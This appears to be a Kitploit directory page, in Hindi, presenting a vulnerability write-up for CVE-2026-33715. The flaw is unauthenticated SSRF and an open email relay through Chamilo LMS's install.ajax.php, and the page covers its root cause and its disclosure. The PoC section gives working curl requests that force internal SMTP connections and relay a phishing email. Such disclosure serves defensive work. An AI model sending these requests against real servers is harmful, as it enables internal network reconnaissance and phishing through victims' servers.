Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-33715 — अनधिकृत SSRF + Chamilo LMS में install.ajax.php के माध्यम से ओपन ईमेल रिले — CVSS 7.5 | Kitploit
उपकरण/GitHubGitHub/romain-deperne/cve-2026-33715
टोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफिशिंग
GitHubromain-deperne/cve-2026-33715

CVE-2026-33715

अनधिकृत SSRF + Chamilo LMS में install.ajax.php के माध्यम से ओपन ईमेल रिले — CVSS 7.5

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-33715 — Chamilo LMS में install.ajax.php के माध्यम से बिना प्रमाणीकरण के SSRF + ओपन ईमेल रिले

गंभीरता: उच्च (CVSS 7.5) CWE: CWE-918 (SSRF) + CWE-306 (अनुपस्थित प्रमाणीकरण) प्रभावित: chamilo/chamilo-lms 2.0 (कमिट 0195b29 और पहले) परामर्श: GHSA-mxc9-9335-45mc NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715

TL;DR

Chamilo LMS 2.0 में install.ajax.php पूर्ण रूप से स्थापित इंस्टेंस पर बिना प्रमाणीकरण के सुलभ है। इसकी test_mailer क्रिया POST डेटा से एक मनमाना Symfony Mailer DSN और गंतव्य स्वीकार करती है, जिससे कोई भी बिना प्रमाणीकृत हमलावर सर्वर को मनमाने आंतरिक होस्ट्स से SMTP कनेक्शन शुरू करने (SSRF) और Chamilo सर्वर के माध्यम से ओपन रिले के रूप में ईमेल भेजने के लिए मजबूर कर सकता है।

मैंने यह कैसे पाया

मैं Chamilo LMS का ऑडिट कर रहा था, यह देखने के बाद कि इसमें कई CVEs जमा हो गए हैं लेकिन इसके AJAX एंडपॉइंट्स का गहराई से ऑडिट नहीं किया गया है। मेरा दृष्टिकोण: public/main/inc/ajax/ में सभी फाइलों की सूची बनाना और जांचना कि क्या प्रत्येक require_once __DIR__.'/../global.inc.php' से शुरू होती है — वह समावेशन जो पूरे कोडबेस में प्रमाणीकरण लागू करता है।

install.ajax.php अपवाद था। यह केवल Composer ऑटोलोडर को शामिल करता है। फ़ाइल नाम ने ही सुझाव दिया कि यह बचा हुआ इंस्टॉलेशन कोड है — और इसके अंदर test_mailer के लिए grep करने पर पुष्टि हुई कि यह POST डेटा से एक कच्चा Symfony Mailer DSN स्ट्रिंग स्वीकार करता है और इसे सीधे Transport::fromDsn() में पास करता है।

यह एक पूर्ण SSRF प्रिमिटिव है: एक बिना प्रमाणीकृत हमलावर प्रोटोकॉल, होस्ट और पोर्ट को नियंत्रित करता है जिससे सर्वर कनेक्ट होता है। तथ्य यह है कि यह आपके द्वारा कॉन्फ़िगर किए गए किसी भी ट्रांसपोर्ट के माध्यम से एक वास्तविक ईमेल भेजता है, इसे ओपन रिले में भी बदल देता है। मैंने एक साधारण curl के साथ पुष्टि की कि एंडपॉइंट पूर्ण रूप से स्थापित इंस्टेंस पर बिना किसी सत्र कुकी के पहुंच योग्य था।

मूल कारण वास्तुशिल्प है: फ़ाइल Symfony के सुरक्षा फ़ायरवॉल को बायपास करती है क्योंकि Apache का RewriteCond %{REQUEST_FILENAME} !-f मौजूदा PHP फाइलों को सीधे PHP को पास करता है, कभी भी फ्रंट कंट्रोलर तक नहीं पहुंचता।

प्रभावित घटक

फ़ाइल: public/main/inc/ajax/install.ajax.php

यह फ़ाइल इंस्टॉलेशन विज़ार्ड के लिए डिज़ाइन की गई थी लेकिन इंस्टॉलेशन के बाद भी सुलभ रहती है। उसी निर्देशिका में हर अन्य AJAX एंडपॉइंट के विपरीत, यह global.inc.php को शामिल नहीं करती है — जिसका अर्थ है शून्य प्रमाणीकरण, शून्य प्राधिकरण जांच:

root@kitploit:~
// लाइन 18 — केवल Composer ऑटोलोडर लोड करता है, कोई प्रमाणीकरण नहीं
require_once __DIR__.'/../../../../vendor/autoload.php';

test_mailer क्रिया (लाइन ~138) हमलावर-नियंत्रित POST पैरामीटर स्वीकार करती है:

root@kitploit:~
case 'test_mailer':
    $mailerDsn = (string) $request->request->get('mailerDsn');           // मनमाना SMTP DSN
    $mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // मनमाना ईमेल
    // ...
    $transport = Transport::fromDsn($mailerDsn);  // हमलावर के SMTP सर्वर से कनेक्ट होता है
    $mailer = new Mailer($transport);
    $mailer->send($email);                         // इसके माध्यम से ईमेल भेजता है

किसी भी ठीक से संरक्षित एंडपॉइंट से तुलना करें:

root@kitploit:~
// chat.ajax.php लाइन 9 — सही पैटर्न
require_once __DIR__.'/../global.inc.php';  // प्रमाणीकरण लागू करता है
api_block_anonymous_users();

मूल कारण

फ़ाइल सीधे Apache द्वारा परोसी जाती है (RewriteCond %{REQUEST_FILENAME} !-f मौजूदा PHP फाइलों को पास करता है, Symfony के सुरक्षा फ़ायरवॉल को बायपास करते हुए)। global.inc.php समावेशन की अनुपस्थिति का अर्थ है कोई सत्र नहीं, कोई प्रमाणीकरण नहीं, कोई इंस्टॉलेशन-पूर्ण जांच नहीं।

PoC

पूर्ण प्रदर्शन के लिए poc.py देखें।

root@kitploit:~
# SSRF — Chamilo को आंतरिक SMTP सर्वर से कनेक्ट करने के लिए मजबूर करें
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://10.0.0.1:25" \
  -d "[email protected]" \
  -d "mailerFromName=Test" \
  -d "[email protected]"

# ओपन रिले — Chamilo सर्वर के माध्यम से फ़िशिंग ईमेल भेजें
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://mail.chamilo.org:587" \
  -d "[email protected]" \
  -d "mailerFromName=Chamilo Security" \
  -d "[email protected]"

प्रभाव

  1. SSRF — बिना प्रमाणीकृत हमलावर सर्वर को मनमाने आंतरिक होस्ट्स से SMTP कनेक्शन शुरू करने के लिए मजबूर करता है, जिससे आंतरिक नेटवर्क टोही और आंतरिक मेल सर्वरों का संभावित शोषण संभव होता है
  2. ओपन ईमेल रिले — Chamilo सर्वर हमलावर-नियंत्रित सामग्री वाले ईमेल किसी भी गंतव्य को भेजता है, जो सर्वर के वैध IP से उत्पन्न होते प्रतीत होते हैं, जिससे ईमेल प्रतिष्ठा को नुकसान होता है
  3. सूचना प्रकटीकरण — SMTP त्रुटि प्रतिक्रियाएं आंतरिक नेटवर्क टोपोलॉजी और सेवा उपलब्धता को उजागर करती हैं

समयरेखा

  • खोज: 2026-03-22
  • रिपोर्ट: GHSA-mxc9-9335-45mc (निजी परामर्श)
  • CVE प्रकाशित: CVE-2026-33715
टूल डाउनलोड करें